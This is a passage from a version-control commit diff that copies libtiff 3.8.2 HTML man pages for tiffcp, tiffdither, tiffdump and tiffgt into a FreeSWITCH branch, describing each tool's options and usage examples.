+<p><b>&minus;,={character}</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>substitute {character} for &rsquo;,&rsquo; in parsing
+image directory indices in files. This is necessary if
+filenames contain commas. Note that &rsquo;,=&rsquo; with
+whitespace immediately following will disable the special
+meaning of the &rsquo;,&rsquo; entirely. See examples.</p>
+</td>
+</table>
+<a name="EXAMPLES"></a>
+<h2>EXAMPLES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The following concatenates two files and writes the
+result using <small>LZW</small> encoding:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiffcp -c lzw a.tif b.tif result.tif
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>To convert a G3 1d-encoded <small>TIFF</small> to a
+single strip of G4-encoded data the following might be
+used:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiffcp -c g4 -r 10000 g3.tif g4.tif
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>(1000 is just a number that is larger than the number of
+rows in the source file.)</p>
+<!-- INDENTATION -->
+<p>To extract a selected set of images from a multi-image
+TIFF file, the file name may be immediately followed by a
+&rsquo;,&rsquo; separated list of image directory indices.
+The first image is always in directory 0. Thus, to copy the
+1st and 3rd images of image file &quot;album.tif&quot; to
+&quot;result.tif&quot;:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiffcp album.tif,0,2 result.tif
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Given file &quot;CCD.tif&quot; whose first image is a
+noise bias followed by images which include that bias,
+subtract the noise from all those images following it (while
+decompressing) with the command:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiffcp -c none -b CCD.tif CCD.tif,1, result.tif
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>If the file above were named &quot;CCD,X.tif&quot;, the
+&quot;-,=&quot; option would be required to correctly parse
+this filename with image numbers, as follows:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiffcp -c none -,=% -b CCD,X.tif CCD,X%1%.tif result.tif
+
+</pre>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffinfo</b>(1), <b>tiffcmp</b>(1),
+<b>tiffmedian</b>(1), <b>tiffsplit</b>(1),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffdither.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffdither.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffdither.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffdither.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffdither.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,182 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFDITHER</title>
+</head>
+<body>
+
+<h1 align=center>TIFFDITHER</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffdither &minus; convert a greyscale image to bilevel
+using dithering</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffdither</b> [ <i>options</i> ] <i>input.tif
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>tiffdither</i> converts a single channel 8-bit
+greyscale image to a bilevel image using Floyd-Steinberg
+error propagation with thresholding.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Specify the compression to use for data written to the
+output file: <b>none</b> for no compression, <b>packbits</b>
+for PackBits compression, <b>lzw</b> for Lempel-Ziv &amp;
+Welch compression, <b>zip</b> for Deflate compression,
+<b>g3</b> for CCITT Group 3 (T.4) compression, and <b>g4</b>
+for CCITT Group 4 (T.6) compression. By default
+<i>tiffdither</i> will compress data according to the value
+of the <i>Compression</i> tag found in the source file.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>The <small>CCITT</small> Group 3 and Group 4 compression
+algorithms can only be used with bilevel data.</p>
+<!-- INDENTATION -->
+<p>Group 3 compression can be specified together with
+several T.4-specific options: <b>1d</b> for 1-dimensional
+encoding, <b>2d</b> for 2-dimensional encoding, and
+<b>fill</b> to force each encoded scanline to be zero-filled
+so that the terminating EOL code lies on a byte boundary.
+Group 3-specific options are specified by appending a
+&lsquo;&lsquo;:&rsquo;&rsquo;-separated list to the
+&lsquo;&lsquo;g3&rsquo;&rsquo; option; e.g. <b>&minus;c
+g3:2d:fill</b> to get 2D-encoded data with byte-aligned EOL
+codes.</p>
+<!-- INDENTATION -->
+<p><small>LZW</small> compression can be specified together
+with a <i>predictor</i> value. A predictor value of 2 causes
+each scanline of the output image to undergo horizontal
+differencing before it is encoded; a value of 1 forces each
+scanline to be encoded without differencing. LZW-specific
+options are specified by appending a
+&lsquo;&lsquo;:&rsquo;&rsquo;-separated list to the
+&lsquo;&lsquo;lzw&rsquo;&rsquo; option; e.g. <b>&minus;c
+lzw:2</b> for <small>LZW</small> compression with horizontal
+differencing.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;f</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the bit fill order to use in writing output
+data. By default, <i>tiffdither</i> will create a new file
+with the same fill order as the original. Specifying
+<b>&minus;f lsb2msb</b> will force data to be written with
+the FillOrder tag set to <small>LSB2MSB ,</small> while
+<b>&minus;f msb2lsb</b> will force data to be written with
+the FillOrder tag set to <small>MSB2LSB .</small></p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;t</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Set the threshold value for dithering. By default the
+threshold value is 128.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The dither algorithm is taken from the
+<b>tiffmedian</b>(1) program (written by Paul Heckbert).</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>fax2tiff</b>(1),
+<b>tiffinfo</b>(1), <b>tiffcp</b>(1), <b>tiff2bw</b>(1),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffdump.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffdump.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffdump.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffdump.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffdump.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,145 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFDUMP</title>
+</head>
+<body>
+
+<h1 align=center>TIFFDUMP</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffdump &minus; print verbatim information about
+<small>TIFF</small> files</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffdump</b> [ <i>options</i> ] <i>name ...</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>tiffdump</i> displays directory information from files
+created according to the Tag Image File Format, Revision
+6.0. The header of each <small>TIFF</small> file (magic
+number, version, and first directory offset) is displayed,
+followed by the tag contents of each directory in the file.
+For each tag, the name, data type, count, and value(s) is
+displayed. When the symbolic name for a tag or data type is
+known, the symbolic name is displayed followed by it&rsquo;s
+numeric (decimal) value. Tag values are displayed enclosed
+in &lsquo;&lsquo;&lt;&gt;&rsquo;&rsquo; characters
+immediately preceded by the value of the count field. For
+example, an <i>ImageWidth</i> tag might be displayed as
+&lsquo;&lsquo;ImageWidth (256) SHORT (3)
+1&lt;800&gt;&rsquo;&rsquo;.</p>
+<!-- INDENTATION -->
+<p><i>tiffdump</i> is particularly useful for investigating
+the contents of <small>TIFF</small> files that
+<i>libtiff</i> does not understand.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>&minus;h</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Force numeric data to be printed in hexadecimal rather
+than the default decimal.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;m items</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>Change the number of indirect data items that are
+printed. By default, this will be 24.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;o offset</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>Dump the contents of the <small>IFD</small> at the a
+particular file offset. The file offset may be specified
+using the usual C-style syntax; i.e. a leading
+&lsquo;&lsquo;0x&rsquo;&rsquo; for hexadecimal and a leading
+&lsquo;&lsquo;0&rsquo;&rsquo; for octal.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffinfo</b>(1), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffgt.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffgt.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffgt.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffgt.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffgt.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,551 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFGT</title>
+</head>
+<body>
+
+<h1 align=center>TIFFGT</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffgt &minus; display an image stored in a
+<small>TIFF</small> file (Silicon Graphics version)</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffgt</b> [ <i>options</i> ] <i>input.tif ...</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>tiffgt</i> displays one or more images stored using
+the Tag Image File Format, Revision 6.0. Each image is
+placed in a fixed size window that the user must position on
+the display (unless configured otherwise through X
+defaults). If the display has fewer than 24 bitplanes, or if
+the image does not warrant full color, then
+<small>RGB</small> color values are mapped to the closest
+values that exist in the colormap (this is done using the
+<i>rgbi</i> routine found in the graphics utility library
+<b>&minus;lgutil</b>.)</p>
+<!-- INDENTATION -->
+<p><i>tiffgt</i> correctly handles files with any of the
+following characteristics:</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="3" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="34%">
+
+<p>BitsPerSample</p>
+</td>
+<td width="50%">
+
+<p>1, 2, 4, 8, 16</p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="34%">
+
+<p>SamplesPerPixel</p>
+</td>
+<td width="50%">
+
+<p>1, 3, 4 (the 4th sample is ignored)</p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="34%">
+
+<p>PhotometricInterpretation</p>
+</td>
+<td width="50%">
+
+<p>0 (min-is-white), 1 (min-is-black), 2 (RGB), 3
+(palette), 6 (YCbCr)</p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="34%">
+
+<p>PlanarConfiguration</p>
+</td>
+<td width="50%">
+
+<p>1 (contiguous), 2 (separate)</p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="34%">
+
+<p>Orientation</p>
+</td>
+<td width="50%">
+
+<p>1 (top-left), 4 (bottom-left)</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Data may be organized as strips or tiles and may be
+compressed with any of the compression algorithms supported
+by the <i>libtiff</i>(3) library.</p>
+<!-- INDENTATION -->
+<p>For palette images (<i>PhotometricInterpretation</i>=3),
+<i>tiffgt</i> inspects the colormap values and assumes
+either 16-bit or 8-bit values according to the maximum
+value. That is, if no colormap entry greater than 255 is
+found, <i>tiffgt</i> assumes the colormap has only 8-bit
+values; otherwise it assumes 16-bit values. This inspection
+is done to handle old images written by previous (incorrect)
+versions of <i>libtiff</i>.</p>
+<!-- INDENTATION -->
+<p><i>tiffgt</i> can be used to display multiple images
+one-at-a-time. The left mouse button switches the display to
+the first image in the <i>next</i> file in the list of files
+specified on the command line. The right mouse button
+switches to the first image in the <i>previous</i> file in
+the list. The middle mouse button causes the first image in
+the first file specified on the command line to be
+displayed. In addition the following keyboard commands are
+recognized:</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="4" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>b</b></p>
+</td>
+<td width="80%">
+
+<p>Use a <i>PhotometricInterpretation</i> of MinIsBlack in
+displaying the current image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>l</b></p>
+</td>
+<td width="80%">
+
+<p>Use a <i>FillOrder</i> of lsb-to-msb in decoding the
+current image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>m</b></p>
+</td>
+<td width="80%">
+
+<p>Use a <i>FillOrder</i> of msb-to-lsb in decoding the
+current image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>c</b></p>
+</td>
+<td width="80%">
+
+<p>Use a colormap visual to display the current image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>r</b></p>
+</td>
+<td width="80%">
+
+<p>Use a true color (24-bit RGB) visual to display the
+current image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>w</b></p>
+</td>
+<td width="80%">
+
+<p>Use a <i>PhotometricInterpretation</i> of MinIsWhite in
+displaying the current image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>W</b></p>
+</td>
+<td width="80%">
+
+<p>Toggle (enable/disable) display of warning messages from
+the <small>TIFF</small> library when decoding images.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>E</b></p>
+</td>
+<td width="80%">
+
+<p>Toggle (enable/disable) display of error messages from
+the <small>TIFF</small> library when decoding images.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>z</b></p>
+</td>
+<td width="80%">
+
+<p>Reset all parameters to their default settings
+(<i>FillOrder</i>, <i>PhotometricInterpretation</i>,
+handling of warnings and errors).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="8%">
+
+<p><b>PageUp</b></p>
+</td>
+<td width="80%">
+
+<p>Display the previous image in the current file or the
+last image in the previous file.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>PageDown</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>Display the next image in the current file or the first
+image in the next file.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="6%">
+
+<p><b>Home</b></p>
+</td>
+<td width="2%"></td>
+<td width="80%">
+
+<p>Display the first image in the current file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="6%">
+
+<p><b>End</b></p>
+</td>
+<td width="2%"></td>
+<td width="80%">
+
+<p>Display the last image in the current file
+(unimplemented).</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force image display in a colormap window.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;d</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify an image to display by directory number. By
+default the first image in the file is displayed.
+Directories are numbered starting at zero.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;e</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Enable reporting of error messages from the
+<small>TIFF</small> library. By default <i>tiffgt</i>
+silently ignores images that cannot be read.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;f</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force <i>tiffgt</i> to run as a foreground process. By
+default <i>tiffgt</i> will place itself in the background
+once it has opened the requested image file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;l</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force the presumed bit ordering to be <small>LSB</small>
+to <small>MSB.</small></p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;m</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force the presumed bit ordering to be <small>MSB</small>
+to <small>LSB.</small></p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;o</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify an image to display by directory offset. By
+default the first image in the file is displayed.
+Directories offsets may be specified using C-style syntax;
+i.e. a leading &lsquo;&lsquo;0x&rsquo;&rsquo; for
+hexadecimal and a leading &lsquo;&lsquo;0&rsquo;&rsquo; for
+octal.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;p</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Override the value of the
+<i>PhotometricInterpretation</i> tag; the parameter may be
+one of: <i>miniswhite</i>, <i>minisblack</i>, <i>rgb</i>,
+<i>palette</i>, <i>mask</i>, <i>separated</i>, <i>ycbcr</i>,
+and <i>cielab</i>.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force image display in a full color window.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;s</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Stop on the first read error. By default all errors in
+the input data are ignored and <i>tiffgt</i> does it&rsquo;s
+best to display as much of an image as possible.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;w</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Enable reporting of warning messages from the
+<small>TIFF</small> library. By default <i>tiffgt</i>
+ignores warning messages generated when reading an
+image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;v</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Place information in the title bar describing what type
+of window (full color or colormap) is being used, the name
+of the input file, and the directory index of the image (if
+non-zero). By default, the window type is not shown in the
+title bar.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Images wider and taller than the display are silently
+truncated to avoid crashing old versions of the window
+manager.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffdump</b>(1), <b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffinfo.1.html

